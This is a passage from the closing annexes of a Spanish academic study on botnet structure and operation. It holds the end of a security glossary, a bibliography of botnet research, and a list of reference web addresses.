encuentran cerrados. Una vez que el firewall recibe una secuencia de conexión correcta,

sus reglas son modificadas para permitir al host que realizó los intentos conectarse a un

puerto específico.

Script: Literalmente significa guión. En informática se refiere a un programa escrito en

un lenguaje de programación interpretado. A diferencia de los lenguajes compilados, en

los lenguajes interpretados el código no necesita ser preprocesado mediante un

compilador, eso significa que el ordenador es capaz de ejecutar la sucesión de

instrucciones dadas por el programador sin necesidad de leer y traducir exhaustivamente

todo el código.



Script Kiddie: Un «Script Kiddie» es un cracker inexperto que usa programas, scripts,

exploits, troyanos, nukes, etc. creados por terceros para romper la seguridad de un

sistema. Suele presumir de ser un hacker o cracker cuando en realidad no posee un

grado relevante de conocimientos

Shell: Interfaz de comandos. Parte fundamental de un sistema operativo encargada de

ejecutar las órdenes básicas para el manejo del sistema.

Tcpdump: Es una herramienta, basada en libpcap, que permite la captura y filtrado del

tráfico (mediante expresiones booleanas) que pasa por un dispositivo de red. Muestra

las cabeceras de los paquetes o escribe el contenido de los campos de datos en un

fichero de registro indicado

UNIX: Es un sistema operativo portable, multitarea y multiusuario; desarrollado en

principio por un grupo de empleados de los laboratorios Bell de AT&T, entre los que

figuran Ken Thompson, Dennis Ritchie y Douglas McIlroy.

Virus informático: es un pequeño programa creado para alterar la forma en que

funciona un equipo sin el permiso o el conocimiento del usuario

.



Anexo G: Bibliografía

A. Libros, artículos y apuntes

[Ian05] Nicholas Ianelli, Aaron Hackworth: Botnets as a Vehicle for Online

Cert coordination center Crime, Diciembre 2005

[Qui95] Bob Quinn, Dave Shute: Windows Sockets Network Programming.

Addison Wesley Nov 1995

[Lab02] Laboratorio de cómputo de Ingeniería Universidad La salle: Seguridad en

los sistemas de cómputo. Universidad La Salle 2002 [9]

[Mcp05] Evan Cooke, Farnam Jahanian, Danny McPherson: The zombie Roundup:

Understanding, Detecting and Disrupting Botnets. Electrical Engineering

and Computer Science Department. Julio 2005 [3]

[Mon06] Francisco Jesús Monserrat Coll: Teleco-forum2006.pdf Seguridad en

Redes: Botnets. TelecoForum 2006. Mayo 2006

[Fos05] James C.Foster Sockets, Shellcode, Porting and Coding.Syngress 2005

[Bar05] Paul Barford, Vinod Yegneswaran. An inside Look at Botnets. Computer

Sciences Department. University of Wisconsin, Madison 2005

[Dag05] David Dagon: oarc0507-Dagon.pdf Botnet Detection and Response.

OARC Workshop 2005

[CAS06] Ángel Castellanos: Pasarelas y medios de pago electrónico y cibercrimen.

TrendMicro Enero 2006



[Dzl05] David Dagon, Cliff Zou, Wenke Lee: Modeling Botnet Propagation

Using Time Zones. College of computing. Georgia Institute of

Technology. School of Computer Science. University of Central Florida

2005

[Thi05] Seth Thigpen: Investigating Botnets, Zombies and IRC Security. East

Carolina University 2005

[Kri06] John Kristoff: Botnets.pdf. Northwestern University 2006

[Gon06] Marcos González Díaz: Estudio de las vulnerabilidades de Microsoft

Windows 2006

[Sah05] Basudev Saha, Ashish Gairola: Botnet: an Overview.Indian Computer

Emergency Response Team. Mayo 2005

[Spi01] Lance Spitzner: Know your enemy: Honeynets, Mayo 2005.

http:// project.honeynet.org/papers/honeynet/

[Vil02] Antonio Villalón Huerta: Seguridad en Unix y Redes, 2002.

http://www.rediris.es/cert/doc/unixsec/

[Rom05] Maximiliano Romano,Simone Rosigoli, Ennio Gianni:Guerra de Robots-

cómo funcionan las botnets. Hackin9 junio 2005

B. Direcciones Web

[1] http://www.eweek.com/article2/0,1895,2030061,00.asp

[2] http://es.wikipedia.org/wiki/Bot



[4] http://es.wikipedia.org/wiki/Rootkit

[5] http://es.wikipedia.org/wiki/Virus_inform%C3%A1tico

[6] http://www.perantivirus.com/sosvirus/general/histovir.htm

[7] http://www.tufuncion.com/10_virus

[8] http://www.pcwla.com/pcwla2.nsf/

[10] www.shadowserver.org/

[11] http://es.wikipedia.org/wiki/UPX

[12] Attack of the bots:

http://www.wired.com/wired/archive/14.11/botnet.html

[13] Malicious Malware: attacking the attackers

http://www.securityfocus.com/infocus/1856

[14] Is the Botnet Battle Already Lost?

http://www.eweek.com/article2/0,1895,2029720,00.asp

[15] Invasion of the Computer Snatchers

http://www.washingtonpost.com/wp

dyn/content/article/2006/02/14/AR2006021401342_2.html

[16] http://es.tldp.org/Manuales-LuCAS/SEGUNIX/unixsec-2.1-

html/node73.html

[17] http://en.wikipedia.org/wiki/Notable_computer_viruses_and_worms



[18] W32/Lovsan.A (Blaster). Utiliza la falla en RPC

http://www.vsantivirus.com/lovsan-a.htm

[19] W32.Nugache.A@mm

http://www.sarc.com/avcenter/venc/data/[email protected]

[20] Snort

http://www.snort.org/docs/

[21] Spanish Honeynet Project

http://www.honeynet.org.es/es/

[22] Botnets: Who Really "0wns" Your Computers?

http://www.enterprisenetworkingplanet.com/netsecur/article.php/

[23] Nmap

http://insecure.org/

[24] Más 1e6 máquinas en las botnets

http://init0.bitacoras.com/archivos/2005/03/21/

[25] Botnet Hunters Search for 'Command and Control' Servers

http://www.eweek.com/article2/0,1895,1829381,00.asp

[26] http://www.microsoft.com/spanish/msdn/comunidad/

mtj.net/voices/MTJ_2068.asp

[27] http://www.informit.com/articles/article.asp?p=27289&seqNum=1&rl=1

[28] http://www.computerworld.com/action/article.do?command= viewArticleBasic&articleId=9010041

Adrián Belmonte: Bot y Botnets: Análisis de estructura y funcionamiento de las redes de...

Technology

Transcript of Adrián Belmonte: Bot y Botnets: Análisis de estructura y funcionamiento de las redes de...